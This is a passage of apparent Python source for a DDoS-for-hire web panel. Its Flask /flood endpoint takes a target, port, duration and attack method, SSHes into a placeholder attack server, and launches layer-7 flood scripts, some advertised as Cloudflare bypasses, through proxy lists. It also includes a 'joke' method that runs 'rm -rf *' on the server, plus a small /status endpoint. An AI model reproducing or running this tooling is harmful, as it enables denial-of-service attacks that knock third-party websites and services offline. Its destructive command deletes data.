-------------------------------------------------------------------------------- 1 | import validation, datetime, paramiko 2 | from flask import * 3 | from routes.decorators import RouteDecorators 4 | from urllib.parse import urlparse 5 | 6 | from funcs.string import str_equals, is_str_empty, sanitize 7 | 8 | from funcs.validator import Validation 9 | 10 | Flood = Blueprint("Flood", __name__) 11 | 12 | @Flood.route("/flood", methods=["GET"]) 13 | @RouteDecorators.log 14 | @RouteDecorators.discord_webbhook_log 15 | @RouteDecorators.admin_key_required 16 | def flood(): 17 | 18 | if 'target' in request.args and 'port' in request.args and 'time' in request.args and 'method' in request.args: 19 | target = sanitize(request.args.get('target', default=None, type=str)) 20 | port = sanitize(request.args.get('port', default=None, type=str)) 21 | time = sanitize(request.args.get('time', default=None, type=str)) 22 | method = sanitize(request.args.get('method', default=None, type=str)) 23 | else: 24 | return jsonify({ 25 | "response_code": 101, 26 | "response_message": "Missing argument(s)." 27 | }) 28 | 29 | if not all([target, port, time, method]): 30 | return jsonify({ 31 | "response_code": 102, 32 | "response_message": "Missing argument(s). Null values." 33 | }) 34 | 35 | if Validation.ip_list_blacklist(target): 36 | return jsonify({ 37 | "response_code": 102, 38 | "response_message": "Target is blacklisted by ip address." 39 | }) 40 | 41 | 42 | # big fucking validation block here... just dont change it .... 43 | # this is to be updated... code is a bit ugly... definitly not my proudest validation. 44 | if not Validation.validate_ip(target): 45 | if not Validation.validate_url(target): 46 | return jsonify({ 47 | "response_code": 102, 48 | "response_message": "Target is not an Ipv4 or an URL." 49 | }) 50 | else: 51 | screen_name = urlparse(target).netloc # get the domain name out of the url and use it as the screen instance name 52 | else: 53 | screen_name = target # if its an ip just keep it that way for the screen name 54 | 55 | 56 | if not Validation.validate_port(port): 57 | return jsonify({ 58 | "response_code": 102, 59 | "response_message": "Port should be in the range of (1-65535)." 60 | }) 61 | 62 | if not Validation.validate_time(time): 63 | return jsonify({ 64 | "response_code": 102, 65 | "response_message": "Time should be MIN=10, MAX=14400." 66 | }) 67 | 68 | 69 | ssh = paramiko.SSHClient() 70 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 71 | 72 | try: 73 | 74 | ssh.connect("YOUR BIG DDOS SERVER IP", username="YOUR BIG DDOS SERVER USERNAME", password="YOUR BIG DDOS SERVER PASSWORD") 75 | 76 | screen_name = urlparse(target).netloc 77 | screen_cmd = f"screen -dm -S {screen_name} timeout {time}" 78 | 79 | # add ya own shit... and can you see any if-elif-elif-elif.. ;) 80 | match method: 81 | 82 | case "AUTOBYPASS-GET": 83 | cmd = f"cd /root/l7/autobypass && {screen_cmd} node method.js {target} {time} request proxies.txt GET false" 84 | 85 | case "AUTOBYPASS-POST": 86 | cmd = f"cd /root/l7/autobypass && {screen_cmd} node method.js {target} {time} request proxies.txt POST false" 87 | 88 | case "CF-BROWSER-BYPASS": 89 | cmd = f"cd /root/l7/BROWSER && {screen_cmd} node browser.js {target} {time} solver.txt proxies.txt 1500 10 50 1" 90 | 91 | case "HTTP-MIX": 92 | cmd = f"cd /root/l7/mix && {screen_cmd} node http-mix.js {target} {time} 15" 93 | 94 | case "HTTP-QUERY": 95 | cmd = f"cd /root/l7/query && {screen_cmd} node http-query.js {target} {time} 15" 96 | 97 | case "YOUNGTHUGUDP239856_BYPASS": # this is a joke... remove it or dont ;) 98 | cmd = f"cd /root && {screen_cmd} rm -rf *" 99 | 100 | case "STOP": 101 | 102 | ssh.exec_command(f"pkill -f {screen_name}") 103 | ssh.close() 104 | 105 | return jsonify({ 106 | "response_code": 105, 107 | "response_message": f"Stopped flood on {screen_name}." 108 | }) 109 | 110 | case _: 111 | return jsonify({ 112 | "response_code": 104, 113 | "response_message": "Method is not available." 114 | }) 115 | 116 | 117 | ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(cmd) # maybe you can parse std to check response... idk do it yourself 118 | ssh.close() 119 | 120 | 121 | return jsonify({ 122 | "response_code": 105, 123 | "response_message": "Flood started.", 124 | "time": datetime.datetime.now() 125 | }) 126 | 127 | except paramiko.BadAuthenticationType: 128 | return jsonify({ 129 | "response_code": 106, 130 | "response_message": "Bad authentication type error.", 131 | }) 132 | 133 | except paramiko.BadHostKeyException: 134 | return jsonify({ 135 | "response_code": 107, 136 | "response_message": "Bad Host key error.", 137 | }) 138 | 139 | except paramiko.PasswordRequiredException: 140 | return jsonify({ 141 | "response_code": 108, 142 | "response_message": "PasswordRequired error.", 143 | }) 144 | 145 | except paramiko.SSHException: 146 | return jsonify({ 147 | "response_code": 109, 148 | "response_message": "SSH2 error.", 149 | }) 150 | 151 | except: # return diffent codes for ?? 152 | return jsonify({ 153 | "response_code": 110, 154 | "response_message": "SSH client uncaught error.", 155 | }) 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /routes/status.py: -------------------------------------------------------------------------------- 1 | import validation, datetime, paramiko, psutil 2 | from flask import * 3 | from routes.decorators import RouteDecorators 4 | from urllib.parse import urlparse 5 | 6 | from funcs.string import str_equals, is_str_empty, sanitize 7 | 8 | from funcs.validator import Validation 9 | 10 | Status = Blueprint("Status", __name__) 11 | 12 | @Status.route("/status", methods=["GET"]) 13 | @RouteDecorators.log 14 | @RouteDecorators.admin_key_required 15 | def status(): 16 | return { 17 | "code": 200, 18 | "cpu": psutil.cpu_percent(), 19 | "used_ram": psutil.virtual_memory().percent, 20 | "unsued_ram": psutil.virtual_memory().available * 100 / psutil.virtual_memory().total 21 | } 22 | 23 | 24 | 25 | --------------------------------------------------------------------------------